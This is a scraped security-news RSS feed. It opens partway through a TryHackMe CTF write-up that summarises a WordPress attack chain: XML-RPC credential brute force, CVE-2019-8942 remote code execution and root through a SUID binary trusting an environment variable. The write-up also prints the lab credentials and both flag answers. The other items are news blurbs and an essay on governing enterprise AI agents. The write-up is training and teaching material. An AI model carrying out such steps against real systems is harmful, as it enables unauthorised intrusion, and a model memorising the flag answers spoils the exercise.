via XML-RPC → kwheel:cutiepie1<br>           ↓<br>CVE-2019-8942 (wp_crop_rce) → Meterpreter shell as www-data<br>           ↓<br>/home/bjoel/user.txt → fake flag ("TRY HARDER")<br>PDF hint → "Rubber Ducky Inc." → points to /media/usb<br>           ↓<br>SUID enumeration → /usr/sbin/checker<br>ltrace → getenv("admin") == nil check<br>export admin=1 &amp;&amp; /usr/sbin/checker → root shell<br>           ↓<br>root.txt captured from /root/<br>user.txt captured from /media/usb/</pre><h3>Lessons Learned</h3><p><strong>1. Read the lore.</strong> The PDF found in Billy’s home directory wasn’t just flavor text — “Rubber Ducky Inc.” was the hint pointing at the USB mount. CTF designers embed clues everywhere.</p><p><strong>2. Don’t trust the obvious user.txt.</strong> This room deliberately placed a fake flag to frustrate anyone who found it and thought they were done. Always verify your flags match the expected format.</p><p><strong>3. ltrace is underrated.</strong> You don’t always need Ghidra or a full decompilation to understand a binary. ltrace showed us the exact library call being made in one line. Use it before reaching for heavier tools.</p><p><strong>4. XML-RPC is a wide-open door.</strong> WordPress’s XML-RPC interface (/xmlrpc.php) allows unlimited login attempts by default — no lockout, no CAPTCHA. This makes it a far more efficient brute-force target than the login form itself.</p><p><strong>5. Environment variables as authentication is broken.</strong> The checker binary's logic is fundamentally flawed: checking for the <em>existence</em> of an environment variable (with no signature, no value check, no privilege validation) is not security — it's theater. Any code running in that shell could set the variable.</p><p><strong>6. WordPress 5.0.0 is ancient — patch your CMS.</strong> CVE-2019–8942 was disclosed in February 2019 and patched immediately in 5.0.1. Running unpatched CMS versions is one of the most common real-world attack vectors.</p><h3>Tools Used</h3><p>ToolPurposenmapPort scanning &amp; service fingerprintingsmbclientSMB share enumerationWPScanWordPress enumeration &amp; credential brute-forceMetasploit (wp_crop_rce)CVE-2019-8942 exploitationltraceDynamic binary analysisGhidraStatic binary reverse engineering (optional)findSUID file discovery &amp; flag hunting</p><h3>Flags</h3><p>FlagValueuser.txtc8421899aae571f7af486492b71a8ab7root.txt9a0b2b618bef9bfa7ac28c1353d9f318</p><p><em>Thanks for reading. If you have questions or want to discuss the manual exploitation path for CVE-2019–8942 (without Metasploit), drop a comment below.</em></p><p><em>If you found this useful, feel free to connect on </em><a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a><em> or check out my tools on </em><a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=5220fa169761" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-blog-ctf-full-write-up-5220fa169761">TryHackMe — Blog CTF | Full Write-Up</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Kodak WPZ2 is less than half the price of Tough TG-7 — even still, should you buy it? I tested the cheap waterproof camera on vacation, and here’s my verdict]]></title>
<description><![CDATA[One of the most affordable rugged cameras around, the Kodak PixPro WPZ2 is a 16MP point-and-shoot that's waterproof to 15m.]]></description>
<link>https://tsecurity.de/de/3604409/it-nachrichten/the-kodak-wpz2-is-less-than-half-the-price-of-tough-tg-7-even-still-should-you-buy-it-i-tested-the-cheap-waterproof-camera-on-vacation-and-heres-my-verdict/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604409/it-nachrichten/the-kodak-wpz2-is-less-than-half-the-price-of-tough-tg-7-even-still-should-you-buy-it-i-tested-the-cheap-waterproof-camera-on-vacation-and-heres-my-verdict/</guid>
<pubDate>Wed, 17 Jun 2026 12:32:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[One of the most affordable rugged cameras around, the Kodak PixPro WPZ2 is a 16MP point-and-shoot that's waterproof to 15m.]]></content:encoded>
</item>
<item>
<title><![CDATA[Who owns the control plane? Google Cloud Next 2026 and the real contest in agentic AI]]></title>
<description><![CDATA[I recently spent some time reflecting on the announcements from Google Cloud Next 2026, as well as a series of vendor briefings and a handful of enterprise architecture engagements, where the same question kept coming up across different venues: once an organization has agents, who governs them? ...]]></description>
<link>https://tsecurity.de/de/3604149/it-security-nachrichten/who-owns-the-control-plane-google-cloud-next-2026-and-the-real-contest-in-agentic-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604149/it-security-nachrichten/who-owns-the-control-plane-google-cloud-next-2026-and-the-real-contest-in-agentic-ai/</guid>
<pubDate>Wed, 17 Jun 2026 11:09:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I recently spent some time reflecting on the announcements from Google Cloud Next 2026, as well as a series of vendor briefings and a handful of enterprise architecture engagements, where the same question kept coming up across different venues: once an organization has agents, who governs them? For two years, the enterprise AI conversation has been a conversation about models — whose is largest, whose is cheapest, whose context window stretches furthest.  Virtually no one was talking about data and semantic context.</p>



<p>After getting some perspective, I was forced to consider that model obsession might have finally fizzled out under the grim reality of non-existent ontologies and limited to no semantic context for enterprise data. The interesting question is no longer which model an enterprise runs. It is who controls the connective context layer — the agentic control plane — that decides what those agents know, what they are allowed to do and who is accountable when a thousand of them are running at once. Whoever owns that layer owns the next decade of enterprise AI and judging by the “marketecture” of every major vendor at Next 2026, the industry has reached the same conclusion.</p>



<p>The urgency here is clearly not a slide-ware exercise. Gartner has <a href="https://www.gartner.com/en/newsroom/press-releases/2025-08-26-gartner-predicts-40-percent-of-enterprise-apps-will-feature-task-specific-ai-agents-by-2026-up-from-less-than-5-percent-in-2025" rel="nofollow">reported</a> an exponential surge in enterprise inquiries about multi-agent systems and predicts that 40% of enterprise applications will embed task-specific agents by the end of 2026, up from less than 5% a year earlier. Yet the same analysts deliver an equally important counterweight: Gartner also <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027" rel="nofollow">expects</a> more than 40% of agentic AI projects to be canceled by the end of 2027, citing escalating cost, an expanded risk surface and governance that no one built in advance. The <a href="https://www.gartner.com/en/articles/hype-cycle-for-agentic-ai" rel="nofollow">2026 Gartner Hype Cycle for Agentic AI</a> makes the diagnosis plain — governance, security and FinOps capabilities are proliferating precisely because enterprises are alarmed about accountability and control as agents grow more autonomous and interconnected. Exponential demand colliding with non-existent guardrails is the environment Google walked into. So, what is the path forward to a control plane an enterprise can actually trust?</p>



<h2 class="wp-block-heading">What Google actually brought to Next 2026</h2>



<p>I’m not ardent supporter of single-ecosystem architectures.  That’s not the world we live in and interoperability has always prevailed as the final arbiter of truth.  Beneath all the agent drama, however, Google’s message was fundamentally architectural. The company repositioned Gemini less as a standalone model and more as the connective and contextual tissue binding data systems, applications and agent runtimes, and assembled Big Query, Alloy DB, Spanner and its managed Spark service into a new category it calls the Agentic Data Cloud. As <a href="https://www.constellationr.com/insights/news/google-cloud-next-2026-look-big-themes" rel="nofollow">Constellation Research</a> observed, the standardization of data on Apache Iceberg has put the data layer itself in play, and Google responded by stacking its assets into a cross-cloud lakehouse and a knowledge catalog, complete with migration tooling pointed squarely at Snowflake and Databricks.</p>



<p>Three pillars define the offering. The first is a federated data layer built on the principle of reach, not relocation. By integrating Cross-Cloud Interconnect directly into the data plane and pairing it with the Apache Iceberg REST Catalog, Google lets agents query data residing on AWS or Azure as though it were local, with no egress fees and extends bi-directional federation in preview to Databricks’ Unity Catalog, Snowflake’s Polaris and the AWS Glue Data Catalog, <a href="https://cloud.google.com/blog/products/data-analytics/whats-new-in-the-agentic-data-cloud" rel="nofollow">according to Google’s own technical briefings</a> and <a href="https://venturebeat.com/data/the-modern-data-stack-was-built-for-humans-asking-questions-google-just-rebuilt-its-for-agents-taking-action" rel="nofollow">independent analysis</a>. Google data cloud managing director Yasmeen Ahmad summarized in Google’s <a href="https://cloud.google.com/blog/topics/google-cloud-next/welcome-to-google-cloud-next26" rel="nofollow">Next ’26 announcement</a> with characteristic economy: you don’t move the data, you connect it.</p>



<p>The second pillar is a semantic layer — the Knowledge Catalog, an evolution of Dataplex — which uses Gemini to tag assets, infer relationships and map business meaning so that agents are grounded rather than, as one <a href="https://egen.ai/insights/three-biggest-ai-announcements-from-google-cloud-next-2026/" rel="nofollow">analysis</a> put it, fast but blind. Critically, its retrieval is permission-aware, meaning agents can only retrieve and act on assets they are explicitly authorized to see — a design choice that fuses context delivery and access control into a single operation. The third pillar is a build layer, the Data Agent Kit, which ships as portable skills, MCP tools and IDE extensions that drop into VS Code, Claude Code, Gemini CLI and Codex, deliberately declining to impose a new proprietary interface.</p>



<p>This is a credible and, to Google’s credit, a mostly real offering.  A control plane, however, is a claim, not a feature, and the term deserves more focus and detail than vendors typically provide.   An agentic control plane is not a product it is a semantically governed set of domain services and underlying structured and unstructured data.   How we federate agentic access and data with intention and governance means everything.</p>



<h2 class="wp-block-heading">What an interoperable control plane requires</h2>



<p>A control plane governs how a system behaves rather than performing the work itself. For agents, a genuine control plane must deliver at least five functions, and an interoperable one must deliver them across vendor, model and cloud boundaries rather than only within a single domain or scope.</p>



<p>The first is identity. Agents are a new class of non-human actors, and an enterprise must be able to authenticate them and manage their actions. Microsoft’s competing Agent 365, unveiled at Ignite 2025, is built explicitly around a registry of which agents exist, plus access control and security — as an Ignite 2025 <a href="https://news.microsoft.com/ignite-2025-book-of-news/" rel="nofollow">industry analysis</a> noted, that identity is foundational. The second is context and semantics, the half of the problem the data clouds have collectively rushed toward. The third, and the most consistently underplayed, is action governance — control not merely over what an agent can read, but over what it can do: the writes, the state changes, the transactional operations. The fourth is observability and lifecycle management, the simulate-evaluate-monitor-optimize loop across an agent fleet, where Google’s integrated offering is, by most accounts, the most complete a hyperscaler has yet shipped. The fifth is economics; the reason so many projects are forecast to fail is partly cost, and FinOps for agentic AI is now an expressly named discipline on Gartner’s Hype Cycle.</p>



<p>Interoperability cuts across all five, and here the industry has done something genuinely impactful and useful: it has agreed on protocols. The Model Context Protocol, originated by Anthropic and since donated to the Linux Foundation under multi-vendor governance, standardizes how an agent connects to tools and data. The Agent2Agent protocol, originated by Google and likewise moved to the Linux Foundation, governs how agents discover and delegate to one another across organizational boundaries. <a href="https://www.atchai.com/blog/model-context-protocol-enterprise-guide-2026" rel="nofollow">Forrester predicts</a> that 30% of enterprise app vendors will launch their own MCP servers in 2026, and <a href="https://www.gartner.com/en/newsroom/press-releases/2025-08-26-gartner-predicts-40-percent-of-enterprise-apps-will-feature-task-specific-ai-agents-by-2026-up-from-less-than-5-percent-in-2025" rel="nofollow">Gartner’s Anushree Verma</a> positions standardized protocols as the enabler of the seamless interoperability that, by 2028, will let networks of specialized agents collaborate dynamically across applications.</p>



<p>What is key here — and what enterprise leaders miss — is that open protocols deliver portable messages, not a portable control plane. Two agents can exchange tasks across clouds in A2A all day long, but identity, semantics, action governance, observability and cost remain platform functions.  A2A and MCP have ensured that the communication protocol has been commoditized.  The final frontier and the competitive moat is not the communication and access protocol, it is the semantic context and the business ontology</p>



<h2 class="wp-block-heading">Where Google is strong, and where leaders should look twice</h2>



<p>Google deserves real credit for embracing open standards where it counts. It adopted MCP across its own services, repositioned Apigee as an MCP bridge that turns any standard API into a governed agent tool and built its federation story on the open Iceberg REST Catalog rather than a proprietary format. <a href="https://tbri.com/special-reports/next-2026-lakehouse-and-agentic-paas-push-google-cloud-closer-to-the-center-of-ai-value-creation/" rel="nofollow">Technology Business Research</a> (TBR) characterized this as a meaningful strategic shift: a company historically defensive about keeping data inside BigQuery now signals that it cares less about where data physically resides than about ensuring Gemini is the semantic context layer generating value on top of it.</p>



<p>That repositioning is exactly the lock-in risk an enterprise must carefully consider, and two limitations matter significantly and deserve an architect’s attention. The first is that federation is not the same as unified control. In my view, TBR’s analysis is totally on point: The Knowledge Catalog addresses upper-stack governance but is not an operational catalog in the way that Databricks’ Unity Catalog, Snowflake’s Polaris and AWS Glue are — those systems govern the underlying Iceberg tables. Google reads into them; it does not replace them. The second is that the focus of lock-in has simply moved up the stack to the semantic context and ontology layers.  Moor Insights &amp; Strategy and others all have cautionary tales that exiting Google-managed semantics, Gemini agents or BigQuery abstractions may prove harder than migrating the data itself. The semantics and the orchestration are now the sticky layer. I think this is a logically coherent and impressive strategy, but for every gain, something is lost.  That loss is exactly the moment where an enterprise either preserves its independence or succumbs to lock-in for convenience and expedience.</p>



<p>There is a maturity gap also worth mentioning here as well. One widely-circulated <a href="https://blog.rittmananalytics.com/google-next-26-the-agent-stack-is-ready-the-semantic-engine-isn-t-44d1287e31f9" rel="nofollow">analysis</a> of Next 2026 carried its verdict in the title — the agent stack is ready, the semantic engine isn’t — arguing that the Knowledge Catalog, however promising, is not yet the governed business-context layer a true enterprise operating system demands and remains more aspirational than operational. With much of the federation and catalog functionality still in preview, optimism is the right approach from my perspective, not “all-in” commitment.</p>



<h2 class="wp-block-heading">Meanwhile, the competition is playing a different game</h2>



<p>The competitors are not building the same artifact, and the differences are instructive. The data-cloud catalogs — Databricks Unity Catalog, Snowflake Polaris and Cortex, AWS Glue, Microsoft Fabric — govern data and, increasingly, semantics; the entire field now accepts that agents need context, not merely access, as <a href="https://www.infoworld.com/article/4162737/google-pitches-agentic-data-cloud-to-help-enterprises-turn-data-into-context-for-ai-agents.html">industry analysis</a> of the field documents. Their structural limit is that catalog constraints are frequently informational rather than strictly enforced, and metric-oriented semantic layers model measures rather than actions or state changes. They excel at conversing with data and remain weaker at agents that act. The agent-management planes, exemplified by Microsoft’s Agent 365, approach the problem from fleet control — registry, identity, observability — and are excellent for organizations living inside Microsoft 365, bounded by that same dependence.</p>



<p>Palantir Foundry represents a genuinely different category. Where catalogs register tables and semantic layers define metrics, Foundry is built around an ontology that models entities, their typed relationships and the actions that can be taken against them — semantics in service of operational execution, not merely analytics.  That distinction is the single most important idea for anyone designing an agentic control plane today. As <a href="https://atlan.com/know/ontology-vs-semantic-layer/" rel="nofollow">Atlan</a> frames it, a semantic layer hands agents governed metrics, which solves half the problem; agents that reason across domains and act need a knowledge-representation layer underneath — what things are, how they relate and what operations are possible. A control plane that governs reads but not writes, metrics but not actions, is fundamentally limiting for agents, and semi-autonomous action is the entire point.    It is also worth noting, the semantic layer itself is now standardizing: the Open Semantic Interchange initiative, launched in late 2025 by Snowflake, dbt Labs, Salesforce and a coalition of partners under an Apache 2.0 license, finalized its v1.0 specification in early 2026. Just as MCP and A2A commoditized the agent communication protocols, OSI aims to commoditize semantic portability.</p>



<h2 class="wp-block-heading">A blueprint for enterprise leaders</h2>



<p>As always, the path forward is clear enough to state but extremely demanding to execute. An interoperable agentic control plane is not a product an enterprise purchases from a single vendor; it is an architecture it composes — open standards at the commoditized layers, owned assets at the differentiating one. Drawing on both the Next 2026 announcements and recent architectural engagements, I would urge leaders to prioritize four design commitments.</p>



<p><strong>First, standardize on open formats at the storage layer. </strong>Apache Iceberg and its REST Catalog deliver genuine data portability, and this is the one element of Google’s model worth adopting wholesale, precisely because the broader industry already has. Second, standardize on open protocols at the agent layer— A2A between agents and MCP to tools and systems — so that a Gemini agent, a Claude agent and a partner’s agent can interoperate without any one of them owning the others. Third, own the semantic and ontology layer in the middle. Don’t just model metrics but entities, relationships and the typed actions agents may perform; this is what delivers semantic portability and keeps the vendor lock-in at bay and in the enterprise’s own hands rather than a vendor.   Fourth, own the control-plane core components — identity, registry, observability and policy — so that governance remains independent of any single platform.</p>



<p>Any vendor relationship that requires managed semantics will make it intentionally harder to migrate data.   The architectural response should never be to place those semantics in any single vendor’s control in the first place. Federation buys data portability; an owned ontology buys semantic portability; open protocols buy agent portability. Composed together, they close the gap that the analysts identified.</p>



<p>The vendors will continue to make the case that the control plane is a product. The analysts — Gartner on governance and failure rates, Forrester on protocol proliferation, TBR and Moor on the limits of federation — are collectively telling enterprise leaders something more useful: it is an architectural decision, and the organizations that treat it as one, that build adaptive governance before their agentic minions outpace them and that preserve the option to change their minds, will be the ones still in command of their AI a decade from now.</p>



<p>Google Cloud Next 2026 is a genuinely strong architecture, and there is no doubt that it is the most complete agentic control-plane offering any hyperscaler has yet shipped. It is also the clearest illustration to date of why no enterprise should outsource its control plane to anyone. The shift from owning models to owning the control plane is not just underway; for organizations serious about operating at the speed of an agent-driven business, it is inevitable. The winning move at this point is to show up with an architecture, not a purchase order.</p>



<p><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="nofollow"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time, as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the</em><a href="https://iasaglobal.org/" target="_blank" rel="nofollow"><em> IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em> </p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Should you use a VPN in 2026?]]></title>
<description><![CDATA[Author: NetworkChuck - Bewertung: 132x - Views:1238 🔒 This video is sponsored by NordVPN (#ad). Get the exclusive NordVPN deal + 4 EXTRA months here 👉 https://nordvpn.com/networkchuck — it's completely risk-free with Nord's 30-day money-back guarantee!

So… do you REALLY need a VPN? I got sponsor...]]></description>
<link>https://tsecurity.de/de/3599826/it-security-video/should-you-use-a-vpn-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599826/it-security-video/should-you-use-a-vpn-in-2026/</guid>
<pubDate>Mon, 15 Jun 2026 19:20:51 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: NetworkChuck - Bewertung: 132x - Views:1238 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/axfNxZ1R6C4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>🔒 This video is sponsored by NordVPN (#ad). Get the exclusive NordVPN deal + 4 EXTRA months here 👉 https://nordvpn.com/networkchuck — it's completely risk-free with Nord's 30-day money-back guarantee!<br />
<br />
So… do you REALLY need a VPN? I got sponsored by a VPN to make this video — which means I have to be EXTRA harsh to keep any shred of dignity. So I busted 6 of the biggest VPN myths, no sugarcoating, and by the end you'll know exactly what a VPN is actually good for, what it's NOT, and why I still use one every single day.<br />
<br />
In this video, you'll learn what a VPN actually does (it just changes what network you appear to be on), why "HTTPS already encrypts everything" doesn't mean a VPN is useless, and how your ISP can still see the sites you visit even with secure DNS — I prove it with a live Wireshark capture. We get into what "no-logs" really means and how to verify a provider you can actually trust (RAM-only servers, independent audits, jurisdiction), why a VPN can NOT make you invisible (cookies, logins, and browser fingerprinting still own you), and where a VPN genuinely shines: the metadata it hides, the dedicated IP that protects you from DDoS and swatting, and the all-in-one security stuff NordVPN bolted on top — phishing/malware blocking and the Hijacked Session Alert that watches the dark web for your stolen login cookies.<br />
<br />
Whether you're a security practitioner who walked in expecting a shill, or just someone wondering if you should even turn one on — this is an honest, decide-for-yourself breakdown. Grade me in the comments. 1 to 10. Be nice. (Okay… be honest.)<br />
<br />
🎓 Join the NetworkChuck Academy!: https://ntck.co/NCAcademy<br />
<br />
RESOURCES / LINKS:<br />
🔒 Exclusive NordVPN deal (+4 months, 30-day guarantee): https://nordvpn.com/networkchuck<br />
📺 David Bombal — what your ISP can REALLY see (SNI / DNS over HTTPS): https://www.youtube.com/@davidbombal<br />
🌐 EFF "Cover Your Tracks" — test your own browser fingerprint: https://coveryourtracks.eff.org<br />
🌐 What's My IP — see what your IP gives away: https://whatismyipaddress.com<br />
🛠️ Wireshark (the packet sniffer from the demo): https://www.wireshark.org<br />
🐉 Kali Linux: https://www.kali.org<br />
<br />
TIMESTAMPS:<br />
0:00 - Are VPNs actually useless? (and why I have to be brutally honest)<br />
1:13 - Myth 1: HTTPS already encrypts everything, so a VPN does nothing<br />
6:15 - Myth 2: a VPN just shifts your trust to the VPN company<br />
7:57 - Myth 3: a VPN makes you invisible online<br />
9:10 - Myth 4: a VPN keeps you safe from hackers<br />
11:08 - Myth 5: a VPN is just a privacy thing<br />
12:40 - Myth 6: normal people don't need a VPN<br />
13:47 - The verdict: what a VPN is actually good for<br />
14:48 - A prayer for you<br />
<br />
FEATURING:<br />
👤 David Bombal (networking + cybersecurity educator): https://x.com/davidbombal<br />
   YouTube: https://www.youtube.com/@davidbombal<br />
<br />
**Sponsored by NordVPN<br />
<br />
SUPPORT NETWORKCHUCK:<br />
☕☕ COFFEE and MERCH: https://ntck.co/coffee<br />
<br />
READY TO LEARN??<br />
🔥🔥Join the NetworkChuck Academy!: https://ntck.co/NCAcademy<br />
📚 CCNA Course: https://ntck.co/ccna<br />
<br />
FOLLOW ME EVERYWHERE:<br />
Instagram: https://www.instagram.com/networkchuck/<br />
X/Twitter: https://x.com/networkchuck<br />
Facebook: https://www.facebook.com/NetworkChuck/<br />
Join the Discord server: https://ntck.co/discord<br />
<br />
Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.<br />
<br />
#VPN #cybersecurity #networkchuck<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your Next Insider Threat May Be an AI Coworker]]></title>
<description><![CDATA[Heimdal sysadmin Alex Panait spent weeks testing Claude Cowork inside the company. His verdict was blunt. It felt like onboarding a junior employee with no manager, no scoped access, and no clear accountability when something goes wrong. Except this one…
Read more →
The post Your Next Insider Thr...]]></description>
<link>https://tsecurity.de/de/3594099/it-security-nachrichten/your-next-insider-threat-may-be-an-ai-coworker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3594099/it-security-nachrichten/your-next-insider-threat-may-be-an-ai-coworker/</guid>
<pubDate>Fri, 12 Jun 2026 18:58:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Heimdal sysadmin Alex Panait spent weeks testing Claude Cowork inside the company. His verdict was blunt. It felt like onboarding a junior employee with no manager, no scoped access, and no clear accountability when something goes wrong. Except this one…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/your-next-insider-threat-may-be-an-ai-coworker/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/your-next-insider-threat-may-be-an-ai-coworker/">Your Next Insider Threat May Be an AI Coworker</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your Next Insider Threat May Be an AI Coworker]]></title>
<description><![CDATA[Heimdal sysadmin Alex Panait spent weeks testing Claude Cowork inside the company. His verdict was blunt. It felt like onboarding a junior employee with no manager, no scoped access, and no clear accountability when something goes wrong. Except this one can delete your SharePoint. That is the unc...]]></description>
<link>https://tsecurity.de/de/3593967/it-security-nachrichten/your-next-insider-threat-may-be-an-ai-coworker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3593967/it-security-nachrichten/your-next-insider-threat-may-be-an-ai-coworker/</guid>
<pubDate>Fri, 12 Jun 2026 18:04:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Heimdal sysadmin Alex Panait spent weeks testing Claude Cowork inside the company. His verdict was blunt. It felt like onboarding a junior employee with no manager, no scoped access, and no clear accountability when something goes wrong. Except this one can delete your SharePoint. That is the uncomfortable reality behind autonomous AI desktop assistants. They […]</p>
<p>The post <a href="https://heimdalsecurity.com/blog/insider-threat-ai-coworker/">Your Next Insider Threat May Be an AI Coworker</a> appeared first on <a href="https://heimdalsecurity.com/blog">Heimdal Security Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Should you send that midnight text? 11 essential rules for phone etiquette]]></title>
<description><![CDATA[What about using voice notes, or calling someone totally unannounced? Experts give their verdict on how to use your phone without causing offenceIt is not news that many of us are addicted to our phones and nor is it a revelation that inconsiderate public behaviour now appears to be the norm, but...]]></description>
<link>https://tsecurity.de/de/3587112/it-nachrichten/should-you-send-that-midnight-text-11-essential-rules-for-phone-etiquette/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3587112/it-nachrichten/should-you-send-that-midnight-text-11-essential-rules-for-phone-etiquette/</guid>
<pubDate>Wed, 10 Jun 2026 11:17:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>What about using voice notes, or calling someone totally unannounced? Experts give their verdict on how to use your phone without causing offence</p><p>It is not news that many of us are addicted to our phones and nor is it a revelation that inconsiderate public behaviour now appears to be the norm, but when the two collide it can cause anger. Last week, at the end of a performance of the drama Inter Alia in London’s West End, the actor Rosamund Pike took to the stage after the curtain call to announce that she had seen someone texting during the performance. “I just wanted to say for anyone going to the theatre, it’s a huge thing that we’re trying to give you. I am trying to tell you a story, and I’m feeling you, and I hope you’re feeling me too … Maybe it was very important, and maybe you’re a doctor, and you’re saving someone’s life, and I hope you are, but we do see these, we do feel them.”</p><p>What is the correct etiquette when using your phone? Myka Meier, author of Modern Etiquette Made Easy, says: “It is always thinking about other people before yourself when you’re on the phone.” This also means being aware of how disabled people might use, and rely on, their phones. As an academic with hearing loss pointed out to <a href="https://www.bbc.co.uk/news/articles/c0723zgdp0eo">the BBC</a> after Pike’s comments, bans on phones in theatres, or public shaming, could exclude disabled people in audiences, such as those who use hearing aid apps and need to adjust the settings.</p> <a href="https://www.theguardian.com/lifeandstyle/2026/jun/10/should-you-send-that-midnight-text-11-essential-rules-for-phone-etiquette">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[High-Severity Vulnerability In Linux Caused By a Single Errant Character]]></title>
<description><![CDATA[An anonymous reader quotes a report from Ars Technica: Researchers have analyzed a high-severity vulnerability in Linux that's able to escalate untrusted users to root by exploiting a bug you don't often see: a single errant character inside the kernel. The vulnerability, tracked as CVE-2026-2311...]]></description>
<link>https://tsecurity.de/de/3585919/linux-tipps/high-severity-vulnerability-in-linux-caused-by-a-single-errant-character/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585919/linux-tipps/high-severity-vulnerability-in-linux-caused-by-a-single-errant-character/</guid>
<pubDate>Tue, 09 Jun 2026 22:09:25 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Ars Technica: Researchers have analyzed a high-severity vulnerability in Linux that's able to escalate untrusted users to root by exploiting a bug you don't often see: a single errant character inside the kernel. The vulnerability, tracked as CVE-2026-23111, is located in nf_tables, a subsystem of the Linux kernel that provides packet filtering capabilities. It's used to manage firewall rules and replaces older subsystems such as iptables, ip6tables, arptables, and ebtables.
 
The presence of a single mis-issued exclamation point in code implementing nf_tables introduced a use-after-free, a class of vulnerability that corrupts memory by placing malicious code at memory addresses that haven't been properly freed of their previous contents. CVE-2026-23111 can be exploited by an unprivileged user or process to elevate system rights to root. The exploit works by disrupting the deletion of verdicts -- a determination within the nf_tables framework that determines if a packet matches a rule calling for a certain action to be performed. This process can use what are known as catchall elements, which act as a wildcard in the event a lookup doesn't match any other element in the set.
 
When a verdict map is deleted from memory, catchall elements are deactivated and a chain's reference counter is decremented. When errors occur the deletion can be reversed and the counter incremented. CVE-2026-53111 allows for that process to be altered. As a result, the exploit can decrement the variable an arbitrary number of times and then delete and free the chain when some objects still point to it. Although the kernel vulnerability was fixed in February, multiple proof-of-concept exploits have since emerged, including one from FuzzingLabs in April and another from Exodus Intelligence that works on Debian and Ubuntu.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=High-Severity+Vulnerability+In+Linux+Caused+By+a+Single+Errant+Character%3A+https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F06%2F09%2F181245%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F06%2F09%2F181245%2Fhigh-severity-vulnerability-in-linux-caused-by-a-single-errant-character%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://it.slashdot.org/story/26/06/09/181245/high-severity-vulnerability-in-linux-caused-by-a-single-errant-character?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Crowdsourced AI += Knostic]]></title>
<description><![CDATA[We’re adding a new specialist to VirusTotal’s Crowdsourced AI lineup: Knostic's AgentMesh Agentic Security Supply Chain Reputation Engine. We are partnering with them to analyze Visual Studio Code extension (.VSIX) files. This complements our existing Code Insight and other AI contributors by hel...]]></description>
<link>https://tsecurity.de/de/3583016/malware-trojaner-viren/crowdsourced-ai-knostic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583016/malware-trojaner-viren/crowdsourced-ai-knostic/</guid>
<pubDate>Mon, 08 Jun 2026 23:48:15 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
